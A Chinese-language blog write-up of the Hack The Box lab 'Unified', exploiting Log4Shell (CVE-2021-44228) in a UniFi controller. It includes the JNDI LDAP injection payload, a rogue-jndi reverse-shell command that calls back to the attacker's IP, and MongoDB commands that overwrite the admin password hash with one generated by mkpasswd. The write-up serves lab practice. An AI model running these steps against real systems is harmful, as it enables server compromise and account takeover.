HTB靶场:Unified(JNDI注入+MongoDB+生成哈希)

Unified

1. 扫描结果

6789端口:IBM DB2管理,运行着IBM DB2 Admin 服务。

IBM DB2 是一种数据库管理系统,这个端口可能用于访问 DB2 数据库的管理界面。

8443端口:管理平台,根据相关搜索得知应该是网络设备管理平台,或者监控管理平台。

UniFi Network 是 Ubiquiti Networks 提供的一种网络管理平台,主要用于管理和监控企业级无线网络设备。它可以帮助用户集中管理包括路由器、交换机、无线接入点(AP)、摄像头等设备的配置和状态,适用于小型到中型企业、酒店、校园等场景。

NSCA 是 Nagios 监控系统的一个组件,用于将被监控的服务结果发送到 Nagios 服务器。

2. 访问

如果访问不了,证书错误,重新导入bp证书

第一,看服务相关信息

根据上面得到的信息可以知道,应该是一个业务较为广泛的产品,可以去查看是否存在历史漏洞

第二,看登录模块

可以尝试SQL注入、弱口令

第三,看js、API接口等

3. 历史漏洞 CVE-2021-44228(Log4j2)

注入点:上述请求体中的remember字段

也正因漏洞点存在于请求体的字段中,一些漏洞扫描器无法灵活适配,因此无法发现漏洞;目前就我看来,Xray的被动扫描会稍显智能

手动注入payload ${jndi:ldap://ip/dir}

LDAP:轻量级目录访问协议,默认端口为389

先测试是否存在漏洞

确实收到ldap协议请求,可以确定存在漏洞

攻击流程
  1. Linux中能够捕捉监听的工具:tcpdump

  2. 通过rogue-jndi开启本地LDAP服务(依赖Java和maven环境)

  3. 监听jndi注入的命令所使用的反弹shell端口

  4. 实施jndi攻击

切换Java版本:update-alternative --config java

maven安装完成

jndi注入工具:git clone https://github.com/veracode-research/rogue-jndi.git

编译 mvn package

编译成功

编译好后生成一个target文件夹

编码:echo "command" | base64

开启本地LDAP服务:java -jar RogueJndi.jar -c "bash -c {echo,<base64_command>}|{base64,-d}|{bash,-i}" -n "<tun0_ip>"

注入payload

拿到shell

找到一个flag

4. 拿到unifi用户的操作系统权限

看当前运行的进程

有docker、mongoDB,查看mongoDB的运行命令

根据已知信息,可以推测mongoDB是unifi默认的后台数据库

查找其他默认信息,得知数据库名通常为ace,常用集合如下:

  • admin:存储用户账户和权限相关信息。

  • device:存储网络设备信息(如接入点、交换机)

  • stat:存储统计数据(如流量和客户端连接历史)

  • event:存储事件记录和日志。

  • guest:存储访客信息。

  • voucher:存储优惠券信息(如果启用了访客门户功能)。

可以重点关注admin集合

利用 --eval 运行一段JavaScript语句,查看集合 mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

对于其中的x_shadow字段,极有可能保存的是密码的哈希

因此,可以进行以下步骤:

  1. 利用工具mkpasswd生成一段哈希密文

mkpasswd -m sha-512 <password>

  1. 替换数据库中的数据

mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"password_hash"}})'

对这段哈希进行解析:

  • $6$ 表示哈希算法是 SHA-512。

  • DGCMKG61YxYGpbtB 是加盐值(Salt),防止彩虹表攻击。

  • lCE5VMRYhO6zu2WVeEjV/...... 经过 SHA-512 加密的哈希值。

5. 无法直接提权,转而拿到Unifi管理平台的管理员权限

在系统设置 -> Site中,发现root用户的ssh密码

成功登录

拿到root.txt

总结

过程还是相对曲折的,拿到普通用户权限之后,没法直接提权;需要通过数据库,拿到管理平台的管理员凭证,再从管理平台拿到root的密码。如果不熟悉Unifi管理平台功能,很难想到这个思路。

posted @ 2024-12-13 08:46  柯ili  阅读(122)  评论(0)    收藏  举报